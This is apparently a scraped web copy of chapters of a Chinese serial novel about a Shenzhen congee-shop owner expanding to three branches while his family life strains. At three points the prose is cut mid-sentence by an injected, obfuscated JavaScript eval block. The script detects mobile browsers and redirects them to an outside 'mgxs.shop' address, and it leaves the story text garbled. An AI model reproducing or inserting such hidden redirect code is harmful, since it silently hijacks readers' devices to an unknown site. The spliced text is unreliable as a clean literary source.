最后招了一个厨师，姓杨，四川人，在酒楼打过下手，会切菜会熬汤。三个服务员都是小姑娘，十八九岁，湖南来的，说只要能包住，工资低点也行。 人员定了，开始培训。陈永福每天早上在罗湖熬粥，中午去南山教杨师傅。从选米、淘米、下锅，到火候控制、配料比例，一点一点教。 杨师傅学得认真，但总有偏差。有时候水放多了，粥稀。有时候火大了，糊底。陈永福不骂人，只说“重来”。 “陈老板，我是不是太笨了？”杨师傅不好意思。 “不笨，熬粥是细活，急不得。” 教了十天，杨师傅终于能熬出像样的粥了。陈永福尝了一口，点点头：“行了，可以开业了。” 开业定在三月十八，星期天。郑文达提前一天从香港过来，检查了所有准备工作。 “菜单定了吗？” “定了。”陈永福递上菜单，白粥一毛，肉粥一毛五，皮蛋粥两毛，海鲜粥三毛。比罗湖便宜。 “海鲜粥也便宜？” “这边工人多，卖贵了没人买。” 郑文达想了想：“也好，薄利多销。” 开业当天，搞了促销活动。前一百碗粥八折，还送咸菜。陈永福在店门口放了鞭炮，噼里啪啦响了半天。 电子厂中午下班，工人们涌出来。看见新开的粥铺，有人进来试试。店里的六个员工忙得团团转，杨师傅在灶台前挥汗如雨，三个服务员端粥收碗，收银的小姑娘手忙脚乱。 陈永福在柜台后看着，心里悬着。人多是好事，但怕出乱子。 果然出事了。一个工人嫌粥太烫，不小心打翻了碗，烫到了手。服务员赶紧拿凉水冲，但工人不依不饶，要赔偿。 “我这手明天还要上工，烫伤了怎么办？” 陈永福走过去：“师傅，实在对不起。今天的粥我请，再赔您五块钱医药费，您看行吗？” 工人看看他，接过钱：“算了，下次小心点。” 处理完这事，陈永福发现收银台出了错。有个客人给了五毛钱，买了一碗三毛的海鲜粥，该找两毛，但收银员找了一毛。客人已经走了，追不回来。 “对不起老板，我太忙了……”收银的小姑娘快哭了。 “没事，下次仔细点。” 中午高峰期过去，盘点。卖了二百六十碗粥，收入四十五块八毛。但算上促销折扣和那五块钱赔偿，实际收入四十块。 成本呢？米、肉、海鲜、煤、人工，大概二十五块。净赚十五块。 第一天，还行。 晚上打烊，陈永福开了个短会。指出今天的问题：粥太烫要提醒客人，收银要仔细，服务员要配合好。 “大家今天辛苦了，以后会越来越好。” 员工们点点头，脸上有疲惫，也有兴奋。 陈永福坐最后一班公交车回罗湖。车上人少，他找了个靠窗的位置坐下。窗外夜色已深，路灯一盏盏向后掠去。 回到商场档口，已经十一点了。林玉兰还在等他，锅里热着粥。 “怎么样？”她问。 “卖了二百六十碗。” “那不错啊。” “但出了些问题。”陈永福把烫伤和收银出错的事说了。 林玉兰听完，轻声说：“刚开始都这样，慢慢就好了。” 两人坐在空荡荡的美食区喝粥。周围的档口都关门了，只有安全通道的绿灯亮着。 “玉兰，我想把秀英调到南山去。”陈永福忽然说。 林玉兰手一顿：“为什么？” “南山那边缺个能管事的。杨师傅手艺还行，但管理不行。秀英在罗湖干了这么久，懂流程，能撑起来。” “那罗湖这边呢？” “王建军可以顶秀英的位子。再招个送餐的。” 林玉兰沉默了一会儿：“秀英愿意去吗？南山那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380742|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么远。” “我明天问问她。” 第二天，陈永福找黄秀英谈。黄秀英听完，没马上回答。 “老板，去南山，住哪？” “店后面有个小房间，可以住。月薪加五块。” “五块……”黄秀英想了想，“老板，我去。罗湖这边已经熟了，我想试试新的。” 陈永福松了口气：“好，那你准备一下，后天过去。杨师傅那边，你多带带他。” “知道。” 黄秀英去南山那天，陈永福送她去车站。公交车来了，她拎着行李上车，在窗口挥手。 “老板，我会做好的。” “我相信你。” 车开走了。陈永福站在车站，想起一年前，黄秀英蹲在路灯下哭的样子。现在她能独当一面了。 时间真快。 黄秀英到了南山店，果然不一样。她有条理，会安排，员工服她。收银再没出过错，服务员也配合得更好了。她还提了个建议：推出套餐，一碗粥加一个馒头，卖两毛五，比单买便宜五分。 工人喜欢实惠，套餐卖得很好。 南山店的生意慢慢上了轨道。每天能卖三百碗左右，周末能到四百。一个月下来，赚了九百块。虽然比预期的八百多了一百，但陈永福知道，这是因为刚开业的新鲜劲。能不能持久，还要看。 郑文达看了第一个月的报表，满意，第二期资金准时到账。 福田店的筹备开始了。 这次陈永福有了经验，选址、装修、招工，都顺利些。但他也发现，自己的身体有点跟不上了。每天两头跑，有时候三头跑，罗湖、南山、福田，像个陀螺。 四月中旬，他终于撑不住，发高烧。林玉兰逼他去医院，医生说是疲劳过度，要休息。 “休息？店里怎么办？” “店重要还是命重要？”林玉兰难得发火，“你要是有个三长两短，我们娘俩怎么办？” 陈永福不说话了。躺在病床上，看着天花板。医院里消毒水的味道，让他想起老家卫生院。小时候发烧，母亲背着他去看病，也是这样白墙，这样味道。 护士来打针，针头扎进手背，有点疼。他闭上眼睛。 何老板来看他，带了水果。 “陈老板，身体要紧。福田店的事不急，等你好点再说。” “不行，合同签了，时间定了。” “定的是五月开业，还有一个多月呢。”何老板说，“你先养病，店里的事，我帮你看着点。” 陈永福感激地点点头。何老板这个人，虽然精明，但讲义气。 在医院住了三天，烧退了。陈永福急着出院，医生说再观察一天。他躺不住，偷偷溜出去，去福田看装修进度。 福田的铺面在华强北，电子市场旁边。这边人流量大，但租金也贵，三十五平米，月租两百八。装修已经完成大半，工人们在贴瓷砖。 包工头老赵看见他：“陈老板，你怎么来了？不是住院吗？” “来看看。” “放心，质量保证。”老赵递给他一支烟，“不过陈老板，你这脸色可不好，得多休息。” “知道。” 看完福田店，他又坐车去南山。黄秀英见他来了，吓了一跳。 “老板，你怎么出院了？” “来看看。”陈永福在店里转了一圈，干净，整齐，客人也不少，“做得不错。” “老板，你得回去休息。” “这就走。” 说是走，又去了后厨，检查了食材，跟杨师傅聊了几句。等坐上回罗湖的公交车，天已经黑了。 回到家，林玉兰正在做饭。见他回来，脸一沉：“又去哪了？” “去看了看店。” “医生说的话你都忘了？”林玉兰把锅铲一放，“陈永福，你要是再这样，我就带建国回老家。” 这话重了。陈永福愣住。 林玉英眼圈红了：“我知道你想把生意做大，想让我们过好日子。可你要是有个好歹，钱再多有什么用？” 陈永福走过去，轻轻抱住她：“对不起，我错了。” “你每次都这么说。” “这次真记住了。” 林玉兰在他肩上靠了一会儿，推开他：“吃饭吧，菜都凉了。” 饭桌上，□□说：“阿爸，我们学校要开家长会。” “什么时候？” “下周三。” “好，阿爸去。” □□高兴了，扒饭扒得很快。孩子上二年级了，成绩中等，但老师说踏实。 晚上睡觉前，陈永福算账。福田店开业在即，要招人，要培训，要备货。钱还够用，但人手不够用。 他想着，福田店开业后，得培养几个能管事的。不能什么事都自己扛。 窗外传来猫叫，一声接一声。春天了，猫都叫春了。 陈永福翻了个身，闭上眼睛。明天还要早起熬粥，不能想太多。 先睡吧。 9. 身骨 陈永福还是去参加了家长会。周三下午，罗湖小学的教室坐满了家长。黑板报上写着“家校合作，共育未来”，粉笔字工工整整。□□坐在最后一排，看见父亲来了，眼睛亮了一下，又赶紧低下头。 班主任是个年轻女老师，姓孙，戴眼镜，说话轻声细语。她讲了半个钟头，主要是学习纪律、卫生习惯这些。陈永福认真听着，虽然很多词听不懂，但知道是重要的事。 散会后，孙老师叫住他：“□□爸爸，留一下。” 陈永福心里咯噔一下。留下单独谈，通常不是好事。 其他家长陆续走了，教室里只剩他们俩。孙老师翻开一个本子：“□□最近上课老走神，作业也马虎。我问他，他说爸爸忙，晚上很晚才回家。” 陈永福脸红了：“老师，我……” “我知道你们做生意辛苦。”孙老师合上本子，“但孩子二年级是关键期，习惯养不好，以后难改。您能不能多花点时间陪陪他？” “能，一定能。”陈永福连忙说。 “那就好。”孙老师语气缓和了些，“□□本质不坏，就是缺关注。您多跟他说说话，检查检查作业，他会好的。” “谢谢老师，我一定注意。” 走出教室，□□在走廊等着。孩子低着头，脚在地上蹭。 “阿爸，老师说什么了？” “说你要好好学习。”陈永福摸摸他的头，“走，回家。” 路上，陈永福问：“作业多吗？” “不多。” “做完要给我看。” □□点点头，过了一会儿小声说：“阿爸，我们班王小军他爸每天都接他放学。” 陈永福喉咙发紧。他几乎没接过儿子放学，都是林玉兰或者孩子自己走回去。 “以后阿爸有空就去接你。” “真的？” “真的。” 回到家，林玉兰正在择菜。听说家长会的事，她叹了口气：“是该多管管孩子了。你整天忙，我也忙，建国跟孤儿似的。” 这话刺人，但陈永福没反驳。她说得对。 晚上，他第一次认真检查儿子的作业。语文造句，“一边……一边……”□□写：“爸爸一边熬粥一边咳嗽。” 陈永福看着这句话，心里不是滋味。 “写得好。”他说，“但阿爸以后不咳嗽了。” 福田店的装修收尾了。陈永福这次不敢太拼，每天只去看一趟，其他时间让王建军跑。王建军学东西快，现在罗湖档口的事基本能管起来。 四月底，招工完成。福田店要四个员工：一个厨师，两个服务员，一个收银兼杂工。厨师是从广州请的，姓余，四十五岁，在酒楼干过二十年，会做广式粥。工资要六十，陈永福咬牙答应了。 服务员是两姐妹，潮汕老乡，一个十九，一个十七。收银的是个本地女孩，高中毕业，说一口流利的普通话。 培训开始了。这次陈永福轻松些，有余师傅在，粥的味道他放心。主要是教流程，教服务标准。 余师傅确实有本事，熬的粥绵滑细腻，米粒完全化开，跟陈永福的风格不同，但也好喝。陈永福尝了，点点头：“余师傅，以后福田店就靠你了。” “陈老板放心，我做事认真。” 开业定在五月八号，立夏之后。郑文达说要搞大点，请了舞狮队，还联系了报社记者。 陈永福觉得太招摇，但郑文达说：“宣传要到位，钱不能省。” 开业那天，华强北人山人海。舞狮队敲锣打鼓，吸引了一大群人围观。记者拍照，问问题。郑文达穿着西装讲话，说这是深港合作的成功范例。 陈永福站在旁边，不太适应。闪光灯太亮，人声太吵。他只关心锅里的粥会不会糊。 仪式结束，客人涌进来。福田店比南山店大，装修也更讲究，白墙瓷砖，日光灯明亮。客人有附近上班的白领，有电子市场的商户，也有看热闹的路人。 余师傅在后厨掌勺，两个潮汕姐妹前厅招呼，本地女孩收银。一切井井有条。 陈永福看着，心里踏实了些。他开始相信，也许真能做好。 中午高峰期过去，盘点。卖了三百五十碗，收入八十多块。比南山店开业时还好。 郑文达很高兴：“陈老板，照这个势头，福田店一个月能赚一千五。” “希望吧。” 但问题很快就来了。 福田店的客人跟南山不一样。电子市场的商户有钱，要求高。有人嫌粥太淡，要加盐。有人嫌服务员动作慢，等不及。还有人说海鲜不新鲜，要退钱。 收银的女孩应付不来，急得直哭。潮汕姐妹普通话不标准，跟客人沟通有障碍。只有余师傅稳得住，该熬粥熬粥，该加料加料。 陈永福连续三天蹲在福田店，现场解决问题。他教会收银女孩怎么应对投诉，教潮汕姐妹多说“请”“谢谢”“不好意思”。自己也站在柜台前，跟客人解释。 “师傅，您觉得淡，可以加这个酱油，我们自己调的。” “大姐，实在不好意思，今天人多，让您久等了，这碗粥我请。” 三天下来，嗓子又哑了。 郑文达从香港打电话来问情况，陈永福说：“还行，在调整。” “需要帮忙就说。” “暂时不用。” 挂了电话，陈永福想，帮忙？能帮什么？生意的事，最后还是得自己扛。 五月中旬，深圳突然热起来。气温一下子窜到三十度，商场里空调修好了，但粥铺的灶台前还是像蒸笼。 陈永福又瘦了。原本就精瘦，现在更显形，颧骨凸出来，眼窝陷进去。林玉兰炖了鸡汤逼他喝，他喝两口就放下：“饱了。” “再喝点，你看你都成什么样了。” “真饱了。” 林玉兰把碗一放：“陈永福，你要是不想过了，就直说。” 这话重了。陈永福抬头看她，妻子眼里有泪光。 “我不是……” “你不是什么？你心里只有你的店，你的生意。我和建国算什么？” “我赚钱不就是为了你们吗？” “我们要的不是钱，是人！”林玉兰声音发抖，“我要的是丈夫，建国要的是父亲。你现在整天不见人影，回来了也累得话都不说。这叫什么家？” 陈永福说不出话。他知道妻子说得对，可他能怎么办？三间店，几十个员工，郑文达的投资，都压在他肩上。他停不下来。 “等福田店稳了，我就轻松了。”他只能这样说。 “稳了？南山稳了吗？罗湖稳了吗？你永远有理由。” 林玉兰转身进了卧室，关上门。□□从自己房间探出头，又缩回去。 陈永福坐在客厅里，灯没开。窗外万家灯火，每盏灯下都有一个家。他的家，灯亮着，人却在吵架。 他点了支烟，慢慢抽。烟是“红双喜”，比“大前门”贵一点，但郑文达说谈生意要抽好烟。其实他抽不出区别。 一支烟抽完，他起身去敲卧室门。 “玉兰。” 没回应。 “玉兰，我错了。” 还是没声音。 他靠在门上，轻声说：“我知道我做得不好。可你知道吗，我每天一睁眼，就要想今天要进多少米，多少肉，要付多少租金，多少工资。我怕店里出事，怕员工走人，怕郑先生撤资。我怕我又变回一年前那个什么都没有的陈永福。” 门开了。林玉兰站在门里，脸上有泪痕。 “你怕，我就不怕吗？”她声音哽咽，“我怕你累垮，怕你病倒，怕建国没有爸爸。钱没了可以再赚，人没了怎么办？” 陈永福抱住她：“不会的，我不会有事。” “你保证？” “我保证。” 这个保证很无力，但林玉兰接受了。生活就是这样，明知保证不一定有用，但还需要一个保证。 第二天，陈永福送□□上学。路上，孩子问：“阿爸，你和阿妈吵架了？” “没有，就是说话大声了点。” “哦。”□□踢着路上的石子，“王小军他爸妈也吵架，后来他爸搬出去了。” 陈永福心里一紧：“阿爸不会搬出去。” “真的？” “真的。” 送到学校门口，□□忽然说：“阿爸，你以后能不能早点回家？我想你陪我写作业。” “好，阿爸尽量。” 看着儿子跑进校门的小小背影，陈永福鼻子发酸。他是不是真的忽略了太多？ 福田店运营一个月，报表出来了。收入两千四，成本一千五，净赚九百。比预期少，但还在增长。 郑文达没说什么，只说继续努力。但陈永福知道，这个数字不够好。郑文达投五万块，不是为了让三家店一个月赚两千块。 他得想办法。 六月初，何老板提了个建议：“陈老板，你们三家店，可以统一采购，降低成本。” “怎么统一？” “米、肉、海鲜，这些大宗食材，三家店一起买，量大价优。我认识几个批发商，可以介绍。” 陈永福觉得可行。他现在是三家店分开采购，每个店自己去市场买，价格高，还费人工。 他约了批发商谈。米批发价一斤便宜两分，肉便宜五分，海鲜便宜一毛。算下来，一个月能省两百多块。 但批发要现款，一次买一个月的量。三家店加起来，要垫付三千块。 陈永福手头没那么多现金。郑文达的投资款还剩一些，但那是用于经营的，不能动。他想了半天，去找周淑芬。 周淑芬现在在小学代课，一个月工资八十块。听说陈永福要借钱，她二话不说，把存折拿出来了。 “陈老板，这里面有两千块，是我这半年攒的。你先用。” “周老师，这……” “别说了，当年要不是你，我和小军还不知道怎么样呢。”周淑芬把存折塞给他，“什么时候有了再还。” 陈永福接过存折，手有点抖：“谢谢，我打借条。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380743|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不用借条，我信你。” 拿着周淑芬的两千块，加上自己的一千，陈永福开始了统一采购。他在罗湖租了个小仓库，存放米和干货。每天早晨，王建军骑三轮车给三家店配送。 麻烦是麻烦，但确实省了钱。第一个月，成本降了二百三。 郑文达知道后，专门打电话来表扬：“陈老板，有头脑。做生意就是要这样，精打细算。” 陈永福笑笑，没说话。这哪是什么头脑，是被逼的。 六月中的一天，南山店出事了。 黄秀英打电话来，声音急：“老板，杨师傅不干了，要回四川。” “为什么？” “他说家里老人生病，要他回去。今天早上说的，现在就要走。” 陈永福头大了。杨师傅是南山店的主厨，他走了，店怎么办？ “你稳住他，我马上过来。” 他坐出租车去南山，花了五块钱。平时舍不得，今天顾不上了。 到店里，杨师傅已经收拾好东西，坐在后厨抽烟。黄秀英在旁边劝，没用。 “杨师傅，家里出什么事了？”陈永福问。 “我娘病了，要人照顾。”杨师傅低着头，“陈老板，对不住，我得回去。” “病得重吗？” “中风，瘫了。” 陈永福沉默了一会儿。百善孝为先，这个理由，他没法拦。 “工资结了吗？” “结了。” “我再给你拿一百块路费。”陈永福从钱包里掏钱，“回去好好照顾老人，代我问个好。” 杨师傅愣住了：“陈老板，这……” “拿着，出门在外不容易。” 杨师傅接过钱，眼睛红了：“陈老板，你是个好人。等我娘好点了，我还回来。” “好，我等你。” 送走杨师傅，问题来了：南山店没厨师了。黄秀英会熬粥，但只能熬基础的。海鲜粥、皮蛋粥这些复杂的，她做不好。 “老板，怎么办？”黄秀英问。 陈永福想了想：“我先在这儿顶几天，你赶紧招人。” “招人不好招，好厨师都要价高。” “高也得招。” 陈永福在南山店住了下来。早上四点起床熬粥，中午高峰期掌勺，下午教黄秀英，晚上盘点。一连五天，累得腰都直不起来。 林玉兰打电话来：“你还回不回家了？” “南山店厨师走了，我得在这儿顶几天。” “几天是几天？” “招到人就回去。” “陈永福，你是不是忘了你还有个家？” 电话挂了。陈永福握着听筒，听着忙音，心里空落落的。 第六天，终于招到一个厨师。是个湖南人，姓刘，在酒楼做过，要价五十五。陈永福答应了。 教了三天，刘师傅上手了。陈永福才回罗湖。 到家是晚上十点。林玉兰已经睡了，□□也睡了。桌上留着饭菜，用纱罩罩着。 他热了饭，坐在厨房里吃。饭菜凉了再热，味道变了，但他吃得很香。这是家的味道。 吃完饭，他轻手轻脚进卧室。林玉兰背对着他，没动。但他知道她没睡着。 “玉兰。” 没回应。 “南山店厨师招到了，我以后不用常去了。” 还是没声音。 他躺下，从背后轻轻抱住她：“对不起，又让你担心了。” 林玉兰肩膀动了动，转过身来。月光从窗户照进来，照在她脸上，有泪痕。 “陈永福，我嫁给你十年了。在老家时穷，但踏实。来深圳后，钱多了，心却空了。我不知道这是不是我要的日子。” 陈永福说不出话。他也不知道。他只知道，开弓没有回头箭，他回不去了。 “睡吧。”他只能说。 林玉兰闭上眼睛，但陈永福知道，她没睡着。 他自己也睡不着。脑子里全是事：南山店新厨师能不能稳住，福田店客诉多的问题怎么解决，罗湖店王建军管不管得住，还有郑文达那边，下个月要看报表…… 越想越清醒，越清醒越睡不着。 窗外有猫叫，有车声，有这座城市永不眠的声音。 陈永福想起老家夏夜的蛙鸣，一阵一阵的，像催眠曲。那时候虽然穷，但睡得踏实。 现在，他躺在柔软的席梦思上，却像躺在钉板上。 他轻轻起身，走到阳台上。点支烟，看着这座城市的灯火。 远处，福田店所在的方向，一片明亮。南山店那边，也能看见几点光。罗湖店就在楼下，已经打烊了。 三家店，像三个孩子，都需要他养。 他不知道能养多久，但知道必须养下去。 烟抽完了，他回屋。林玉兰呼吸均匀，这次真睡着了。 他躺下，闭上眼睛。明天还要早起熬粥。 睡吧，能睡几个小时是几个小时。 日子还得过，粥还得熬。 10. 喘息 南山店的新厨师刘师傅，干了一个星期就出问题了。 黄秀英打电话来，声音压得很低：“老板，刘师傅熬的粥，客人说味道不对。” “怎么不对？” “说太咸，而且糊了几次锅底。” 陈永福皱眉：“你跟他说了吗？” “说了，他说是我们米不好，火不好，就是不认自己的问题。” “我现在过来。” 放下电话，陈永福看看墙上的钟。下午三点，罗湖店刚过午高峰，还能走得开。他对王建军交代了几句，坐上了去南山的公交车。 车上人不多，有座位。陈永福靠着窗，看着外面的街景。深圳的夏天来得猛，路边的紫荆花开得一片一片的，粉的紫的，热热闹闹。但他没心思看。 到南山店，正是下午清闲的时候。刘师傅坐在后厨抽烟，看见陈永福来，站起来。 “陈老板。” 陈永福点点头，走到灶台前。锅里还有半锅粥，他舀了一勺尝。确实咸，而且有股焦味。 “刘师傅，这粥……” “今天的米不行，黏锅。”刘师傅抢着说，“火也调不好，这灶有问题。” 陈永福没说话，检查了米袋，又看了灶台。米是统一采购的，三家店都一样。灶台是新装的，才用几个月。 “黄秀英，早上熬粥时你在吗？” “在。”黄秀英说，“刘师傅没按比例放水，我提醒了，他不听。” 刘师傅脸红了：“我干厨师十几年，还要你教？” “我不是教，是提醒。”黄秀英不卑不亢。 陈永福明白了。不是米的问题，不是灶的问题，是人的问题。 “刘师傅，你出来一下。” 两人走到店后的小巷。巷子窄，两边堆着垃圾桶，苍蝇嗡嗡飞。 “刘师傅，咱们打开天窗说亮话。”陈永福点了支烟，“你是不是不想在这儿干了？” 刘师傅一愣，没想到他这么直接。 “陈老板，我没……” “有就说。要是嫌工资低，嫌条件差，可以商量。但要是糊弄，不行。”陈永福吐了口烟，“我这家店，靠的就是粥的味道。味道不对，店就完了。” 刘师傅沉默了，低头踢着地上的石子。过了一会儿，他说：“陈老板，我在广州的店，一个月八十块，包吃住。你这儿五十五，差太多了。” “所以你就不好好干？” “也不是……”刘师傅支支吾吾，“就是觉得亏。” 陈永福想了想：“刘师傅，你要是能把南山店的生意做起来，每月营业额超过三千，我给你加十块。超过三千五，再加十块。怎么样？” 刘师傅眼睛亮了：“真的？” “真的，说到做到。” “那行，我好好干。” “但有一条，”陈永福盯着他，“味道必须稳定。再糊锅，再咸了淡了，不用我说，你自己走人。” “明白！” 回到店里，陈永福让黄秀英监督刘师傅熬粥，严格按照比例和流程。又待了两个小时，看刘师傅重新熬了一锅粥，尝了，味道对了，才放心离开。 回罗湖的公交车上，他算账。如果给刘师傅加工资，成本又要增加。但没办法，好厨师难找，留住人比什么都重要。 到家已经晚上八点。林玉兰正在辅导□□写作业，见他回来，没说话。 陈永福洗了手，坐到儿子旁边：“作业多吗？” “数学作业，应用题不会。”□□把本子推过来。 是一道关于速度和时间的题：小明骑自行车去学校，每分钟骑200米，15分钟到。如果他想提前3分钟到，每分钟要骑多少米？ 陈永福看了一会儿。他小学毕业，数学早忘光了。但儿子眼巴巴看着他，他得想办法。 “来，阿爸帮你算。” 他拿出纸笔，慢慢算。先算总路程，200乘以15，3000米。再算新时间，15减3，12分钟。3000除以12，250米。 “每分钟要骑250米。” □□眼睛亮了：“阿爸真厉害！” 林玉兰在旁边看着，嘴角弯了弯，但很快又抿直了。 辅导完作业，□□去睡觉。陈永福去厨房热饭，林玉兰跟进来。 “南山店怎么样了？” “新厨师有点问题，解决了。” “你吃饭了吗？” “没。” 林玉兰叹了口气，接过他手里的碗：“坐着吧，我来。” 她热了饭菜，端到桌上。一盘青椒炒肉，一盘青菜，一碗米饭。简简单单，但都是他爱吃的。 陈永福大口吃着。真饿了，中午在南山就吃了碗粥。 “慢点，别噎着。” “嗯。” 吃完饭，陈永福主动洗碗。林玉兰站在厨房门口看着，忽然说：“今天建国班主任又打电话了。” 陈永福手一顿：“说什么？” “说建国最近有进步，上课专心了，作业也认真了。”林玉兰声音软了些，“说你上次家长会后，真的管孩子了。” 陈永福心里一松：“那就好。” “孙老师还说，要是家长都像你这样，孩子就好教了。” 这话让陈永福脸红了。他哪里做得好，只是尽了点最基本的责任。 洗好碗，两人坐在客厅里。电视开着，但声音调得很小。是一部香港电视剧，讲大家族恩怨，听不懂粤语，看字幕。 “阿福。”林玉兰轻声叫他。 “嗯？” “我昨天去了趟医院。” 陈永福心里一紧：“哪里不舒服？” “没事，就是检查一下。”林玉兰看着他，“医生说我怀孕了。” 陈永福愣住了，手里的遥控器掉在地上。 “怀……怀孕？” “嗯，两个月了。” 陈永福张着嘴，半天说不出话。过了好一会儿，才问：“真的？” “真的。”林玉兰摸摸肚子，“本来想晚点告诉你，但看你这么累……” 陈永福一把抱住她，抱得很紧。林玉兰被他抱得喘不过气，推了推：“轻点。” “对不起，对不起。”陈永福松开手，眼睛红了，“我太高兴了。” 林玉兰也红了眼眶：“傻子。” “什么时候生？” “年底，大概十二月。” 陈永福算时间，还有五个月。五个月，他得把三家店都稳住，得多赚钱，得给这个家更好的条件。 “玉兰，你放心，我会更努力。” “我不要你更努力，我要你注意身体。”林玉兰摸摸他的脸，“你看你，瘦成什么样了。” “我没事。” “有事就晚了。” 那天晚上，陈永福睡不着。不是因为愁，是因为高兴。他要有第二个孩子了。在深圳站稳脚跟，生意上了轨道，现在又添丁，这是好兆头。 但他也知道，压力更大了。多一张嘴吃饭，多一份责任。 第二天一早，他照常四点起床熬粥。但今天不一样，他一边熬粥一边哼歌，哼的是潮汕老家的童谣，母亲小时候唱给他听的。 王建军来上班，看见他这样，吓了一跳：“老板，你今天心情好。” “嗯，好。”陈永福笑笑，“今天粥多熬点，让大家吃饱。” “好嘞。” 上午，郑文达从香港过来看福田店。陈永福赶过去，郑文达正在看账本。 “陈老板，福田店这个月比上个月好，有进步。” “还在调整。” “不过，”郑文达合上账本，“我发现一个问题。三家店虽然统一采购，但管理还是各自为政。这样效率不高。” 陈永福心里一紧：“郑先生的意思是？” “我想派个人过来，帮你做标准化管理。”郑文达说，“从香港请个经理，工资我出，负责三家店的日常运营。你专心管产品和品质。” 陈永福沉默了一会儿。他知道郑文达说得对，他自己确实管不过来。但请个香港经理，意味着他要让出部分控制权。 “郑先生，这个人……” “你放心，人我挑好了，有餐饮管理经验，懂国语。”郑文达拍拍他的肩，“下周一过来，你们见见。” “好。” 送走郑文达，陈永福站在福田店门口，看着街上熙熙攘攘的人流。香港经理要来，这是好事还是坏事，他不知道。但他知道，自己确实需要帮助。 下午，他去了趟银行。查了存款，三家店这半年攒了三万块。不算多，但也不少了。他取了五百块，去商场买了些东西。 给林玉兰买了件孕妇装，浅蓝色的，宽松舒服。给□□买了新书包，帆布的，印着卡通图案。又买了些营养品，红枣、核桃、奶粉。 回到家，林玉兰看见这些东西，又高兴又心疼：“花这么多钱干嘛？” “该花的。”陈永福把孕妇装递给她，“试试合不合身。” 林玉兰换上，在镜子前照了照。衣服有点大，但她穿着好看，脸色也显得红润。 “合适。” “那就好。” □□放学回来，看见新书包，高兴得跳起来：“谢谢阿爸！” “好好学习，别辜负新书包。” “嗯！” 晚上，陈永福做了个决定。他把三家店的骨干都叫到罗湖店开会。黄秀英从南山过来，王建军从福田过来，加上罗湖店的几个老员工，挤在档口后面的小仓库里。 “今天叫大家来，是要宣布几件事。”陈永福说，“第一，老板娘怀孕了，年底我要添个孩子。” 大家愣了下，然后都笑起来，七嘴八舌地恭喜。 “第二，香港郑先生要派个经理过来，帮我们做管理。人下周到，大家要配合。” 这话让大家安静了。黄秀英问：“老板，那我们……” “你们还是各店的负责人，经理是协助，不是代替。”陈永福说，“第三，从下个月起，每个店设奖金。营业额超过目标，按比例发奖金。” 这招是何老板教的，说能激励员工。陈永福觉得可行。 “目标是多少？”王建军问。 “罗湖店月营业额五千，南山店三千五，福田店四千。”陈永福说，“超出的部分，百分之五作奖金，店里人分。” 大家眼睛都亮了。有奖金，干劲就不一样。 “老板放心，我们一定努力！”黄秀英说。 “对，努力！” 看着这些年轻的面孔，陈永福心里踏实了些。这些人跟着他干，他要对得起他们。 开完会，陈永福单独留下黄秀英。 “秀英，南山店现在你最熟。刘师傅那边，你多盯着点。他技术没问题，就是心态要调。” “我知道。”黄秀英犹豫了一下，“老板，有件事我想跟你商量。” “你说。” “我想学会计。”黄秀英小声说，“晚上去夜校，学记账算账。以后能帮店里更多。” 陈永福愣了一下，随即笑了：“好事啊，去学。学费店里出。” “真的？” “真的。好好学，以后三家店的账都归你管。” 黄秀英眼睛红了：“谢谢老板。” “谢什么，是你自己有出息。” 送走黄秀英，陈永福站在档口前，看着夜幕下的商场。美食区的灯光一盏盏亮起来，各家档口开始准备晚饭生意。 何老板晃悠过来：“陈老板，听说你要请香港经理了？” “郑先生安排的。” “好事啊，专业的人做专业的事。”何老板递给他一支烟，“不过陈老板，有句话我得提醒你。” “何老板请说。” “香港人做事讲究流程，讲究规矩。跟你这种亲力亲为的风格不一样。到时候可能会有摩擦，你得有心理准备。” 陈永福点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380744|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头：“我明白。” “明白就好。”何老板拍拍他的肩，“不过也别太担心，都是为了生意好。” 是啊，都是为了生意好。陈永福想。只要店能开下去，只要能赚钱养家，怎么都行。 周一，香港经理来了。 是个三十多岁的男人，姓李，李文杰。穿灰色西装，打领带，头发梳得整齐。说话带香港口音，但努力说普通话。 “陈老板，以后请多指教。”他伸出手。 陈永福跟他握手：“李经理，辛苦你了。” 李文杰在罗湖店待了一天，看流程，看账本，跟员工聊天。下午，他拿出一份计划书。 “陈老板，我有几个建议。” “请讲。” “第一，三家店要统一制服，统一服务标准。现在各穿各的，不专业。” “第二，要建立培训制度，新员工入职必须培训三天。” “第三，要规范采购流程，建立台账，每天记录。” “第四，要搞促销活动，每周一款特价粥，吸引客人。” “第五……” 他一口气说了十条。陈永福听着，有的懂，有的不懂。但听起来都有道理。 “李经理，这些要花多少钱？” 